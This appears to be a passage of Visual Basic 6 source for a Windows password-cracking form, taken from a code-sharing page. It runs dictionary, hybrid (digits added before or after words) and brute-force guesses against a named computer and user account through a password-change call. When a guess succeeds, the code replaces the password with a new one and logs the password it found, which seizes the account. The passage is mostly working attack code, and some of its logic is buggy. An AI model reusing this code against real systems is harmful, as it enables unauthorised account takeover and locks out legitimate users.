frmpasscrack.frm

来自「全面网络扫描器VB源代码 很实用」· FRM 代码 · 共 914 行 · 第 1/3 页

FRM
914 行
字号
                                               Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d1) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                               Case "Error: Unexpected Error " & r & " occured.": MsgBox c:   Close #filef: Exit Sub
                                       End Select
                           End If
                           
               
                'chek Concatenations With Reverse ( Passssap )
                 If frmcrackopt.Check1(1).value = 1 Then
                                   d2 = ""
                                  For s1 = Len(d) To 1 Step -1
                                    d2 = d2 + Mid(d, s1, 1)
                                  Next
                                    d2 = d + d2
                                    c = ChangeUserPassword(ComputerName, User, d2, NewPass)
                           
                                       Select Case c
                                               Case "Error: Invalid password."
                                               Case "Error: Access denied.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Operation performed successfully.": MsgBox c: List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d2) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                               Case "Error: Unexpected Error " & r & " occured.": MsgBox c:   Close #filef: Exit Sub
                                       End Select
                           End If
                           

              
                      
                      'defalut
                                    c = ChangeUserPassword(ComputerName, User, d, NewPass)
                           
                                       Select Case c
                                               Case "Error: Invalid password."
                                               Case "Error: Access denied.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                               Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                               Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                               Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                               Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                       End Select
                     
                           



lbl:
                      Wend

                   Close filef
   
       End If
       
   End If
   
   '==========================================
   '==========================================
 
 
 'hybrid password
  
  
If frmcrackopt.Chkhyen.value = 1 Then
          
    addr = CInt(frmcrackopt.txthyr.Text)
    addl = CInt(frmcrackopt.txthyl.Text)
    

     If frmcrackopt.txtbrows.Text <> "" Then
                 
                  filef = FreeFile
                  If frmcrackopt.txtbrows.Text = "Directory.txt" Then Open App.path + "\" + frmcrackopt.txtbrows.Text For Input Lock Read Write As #filef Else Open frmcrackopt.txtbrows.Text For Input Lock Read Write As #filef
                     
                     While EOF(filef) = False
                        
                           Input #filef, d
                           
                           If Len(d) < 1 Then GoTo lbl1:
                                
                                'for add right word
                             
                              For K = 1 To 10 ^ addr
                                    
                                    d4 = d + CStr(K)
              
                     
                                        c = ChangeUserPassword(ComputerName, User, d4, NewPass)
                           
                                          Select Case c
                                                  Case "Error: Invalid password."
                                                  Case "Error: Access denied.": MsgBox c:  Exit Sub
                                                  Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d4) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                                  Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                          End Select
                               Next K




             'for add left word
                             
                              
                                 For k1 = 1 To 10 ^ addl
                                   
                                    d4 = CStr(k1) + d
              
                     
                                        c = ChangeUserPassword(ComputerName, User, d4, NewPass)
                           
                                          Select Case c
                                                  Case "Error: Invalid password."
                                                  Case "Error: Access denied.": MsgBox c:  Exit Sub
                                                  Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d4) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                                  Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                          End Select
                               Next k1
                            

             'for add right & left word
                     If addr And addl <> 0 Then
                              For K = 1 To 10 ^ addr
                                 For k1 = 1 To 10 ^ addl
                                   
                                    d4 = CStr(K) + d + CStr(k1)
              
                     
                                        c = ChangeUserPassword(ComputerName, User, d4, NewPass)
                           
                                          Select Case c
                                                  Case "Error: Invalid password."
                                                  Case "Error: Access denied.": MsgBox c:  Exit Sub
                                                  Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d4) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                                  Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                          End Select
                               Next k1
                            Next K
                    End If


             'for add Your word
                     If frmcrackopt.txtaddpassstr.Text <> "" Then
                                    
                                    d4 = d + CStr(frmcrackopt.txtaddpassstr.Text)
              
                     
                                        c = ChangeUserPassword(ComputerName, User, d4, NewPass)
                           
                                          Select Case c
                                                  Case "Error: Invalid password."
                                                  Case "Error: Access denied.": MsgBox c:  Exit Sub
                                                  Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d4) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                                  Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                          End Select
                            
                     End If




lbl1:
                      Wend
                   

                   Close #filef
   
       End If
       
  End If
   



  
   '==========================================
   '==========================================
 
 
 'burte force attack passwords
  


 If frmcrackopt.chkbren.value = 1 Then
      
      If frmcrackopt.Optbf(0).value = True Then
                     
        '0-9
        If frmcrackopt.Combo1.Text = "" Or frmcrackopt.Combo1.Text = "0-9" Then
                settxt = CInt(frmcrackopt.txtsset)
                 For y = 1 To 10 ^ settxt
                  
                      c = ChangeUserPassword(ComputerName, User, y, NewPass)
                           
                                          Select Case c
                                                  Case "Error: Invalid password."
                                                  Case "Error: Access denied.": MsgBox c:  Exit Sub
                                                  Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(y) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                                  Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                          End Select
                             
                  
                  
                  
                  
                Next y
        End If
      
     'A-z
      If frmcrackopt.Combo1.Text = "A-Z" Then
               settxt = CInt(frmcrackopt.txtsset)
               
          ReDim b(settxt) As String * 1
      I = 1
     J = 1
    pn = 65
         Do
                ps = Chr(pn)
            If pk <> "" Then ps = pk + ps
           
          c = ChangeUserPassword(ComputerName, User, ps, NewPass)
                           
                                          Select Case c
                                                  Case "Error: Invalid password."
                                                  Case "Error: Access denied.": MsgBox c:  Exit Sub
                                                  Case "Fehler: Invalid Computer-/Domainname.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: This operation can only performed on the primary domain controler.": MsgBox c:  Close #filef: Exit Sub
                                                  Case "Error: User not found.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c:   Close #filef: Exit Sub
                                                  Case "Operation performed successfully.": MsgBox c:  List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + "  USER = " + CStr(User) + "  FIND PASSWORD IS = " + CStr(d4) + "  NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
                                                  Case "Error: Unexpected Error " & r & " occured.": MsgBox c:  Close #filef: Exit Sub
                                          End Select
                  
               
               
           
           
             If b(I) = Chr(0) Then b(I) = ps
                If pn = 122 Then
                  pn = 65
                  ps = ""
                  pk = ""
                   For u = 1 To I
                        pk = pk + b(u)
                   Next
                   I = I + 1
                End If
              pn = pn + 1
              'for string
               If pn = 91 Then pn = 97
              If I = 5 Then
                  b(J) = Chr(Asc(b(J)) + 1)
               'for string
                 If (Asc(b(J)) + 1) = 91 Then b(J) = Chr(97)
                  J = J + 1
                  I = 1
              End If
              
              If J = 5 Then J = 1
        Loop Until Asc(b(1)) = 122
 
        End If
      
      
      
   ' for A-Z,0-9
      
     If frmcrackopt.Combo1.Text = "A-Z,0-9" Then
               settxt = CInt(frmcrackopt.txtsset)
               
          ReDim b(settxt) As String * 1
             I = 1
             J = 1

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?